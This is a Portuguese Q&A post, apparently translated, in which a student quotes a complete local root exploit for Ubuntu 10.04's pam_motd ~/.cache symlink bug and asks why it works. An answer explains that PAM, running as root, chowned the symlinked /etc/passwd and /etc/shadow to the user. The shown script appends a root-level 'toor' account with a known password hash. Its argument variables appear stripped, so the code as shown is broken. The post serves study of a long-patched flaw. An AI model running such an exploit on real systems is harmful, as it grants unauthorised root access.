Como essa exploração permitiu acesso de gravação a arquivos de propriedade raiz?

Question

Para uma tarefa de segurança de computadores na minha universidade, eu preciso encontrar e entender uma exploração que funciona no Ubuntu 10.04. Eu já encontrei e testei um em uma máquina Ubuntu 10.04 (que eu possuo)

Esta é a exploração, executada como um usuário normal que fornece acesso root. Extraído do site de segurança ofensiva.

P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "" ] && [ -e "".bak ] && rm -rf "".bak
    [ -e "" ] || return 0
    mv ""{,.bak} || return 1
    echo "[*] Backuped "
}
restore() {
    [ -e "" ] && rm -rf ""
    [ -e "".bak ] || return 0
    mv ""{.bak,} || return 1
    echo "[*] Restored "
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "" ] || { echo "[-] Own  failed"; restore ~/.cache; bye; }
    echo "[+] owned: "
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor

Eu entendo por que ele faz backup de arquivos e gera uma chave para usar com ssh mais tarde e cria um link flexível entre o arquivo de cache, que é o arquivo que o usuário executando o script tem direitos de leitura e escrever e o arquivo que você deseja apropriar.

A coisa que eu não entendo é por que o echo "$P" >> /etc/passwd e echo "$S" >> /etc/shadow são feitos nesses arquivos em vez do cache de arquivos? Não era esse o propósito do link flexível entre esses arquivos e o arquivo de cache para poder escrevê-lo?

Como o $USER tem permissão nesse ponto no script para escrever na sombra e no passwd? A resposta claramente tem a ver com o ssh feito para o localhost, mas por que esse ssh concede essas permissões?

Depois disso, eu entendo o que acontece, uma vez que ambos os arquivos são modificados, o usuário toor tem permissões de root e é invocado com o comando su. Meu principal problema é entender que com ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true você ganha permissões de gravação na sombra e na senha.

    

Answer 1

Isso foi um bug no pam_motd que tem há muito tempo corrigido :

  

pam_motd (também conhecido como módulo MOTD) em libpam-modules antes de 1.1.0-2ubuntu1.1 no PAM no Ubuntu 9.10 e libpam-modules antes de 1.1.1-2ubuntu5 no PAM no Ubuntu 10.04 LTS permite que usuários locais alterem a propriedade de arquivos arbitrários por meio de um ataque de link simbólico em .cache no diretório pessoal de um usuário, relacionado a "selos de arquivos do usuário" e ao arquivo motd.legal-notice.

Isso basicamente se traduz em, ao efetuar login com o SSH, o PAM (o módulo de autenticação, executado como root) tentaria chown $USER: ~/.cache . Não foi possível ver o que era isso, então a mudança de propriedade estava se propagando para o arquivo vinculado.

Isso permitiu que você possuísse e editasse os arquivos do sistema e obtivesse acesso em nível de raiz.

Embora .cache tenha sido vinculado a /etc/{passwd,shadow} , eles poderiam ter ecoado em .cache ... Mas por que se incomodar? Nesse ponto, esses arquivos tiveram sua propriedade de arquivo alterada para $USER . Eles eram livremente editáveis.

Apenas em resposta aos seus comentários:

• Não lhe dá permissão, (ou devo dizer que o seu módulo PAM) é a coisa que muda a propriedade. Mas sim, o PAM fazendo o que fez foi o problema.

• O link simbólico para ~/.cache é apenas um redirecionamento para a exploração. É necessário para que, quando você efetuar login no PAM (executando como root), tente chown do arquivo vinculado. Isso é o o exploit lá.

• Foi um descuido e foi corrigido pela queda privilégios antes de entrar em qualquer um desses códigos.

O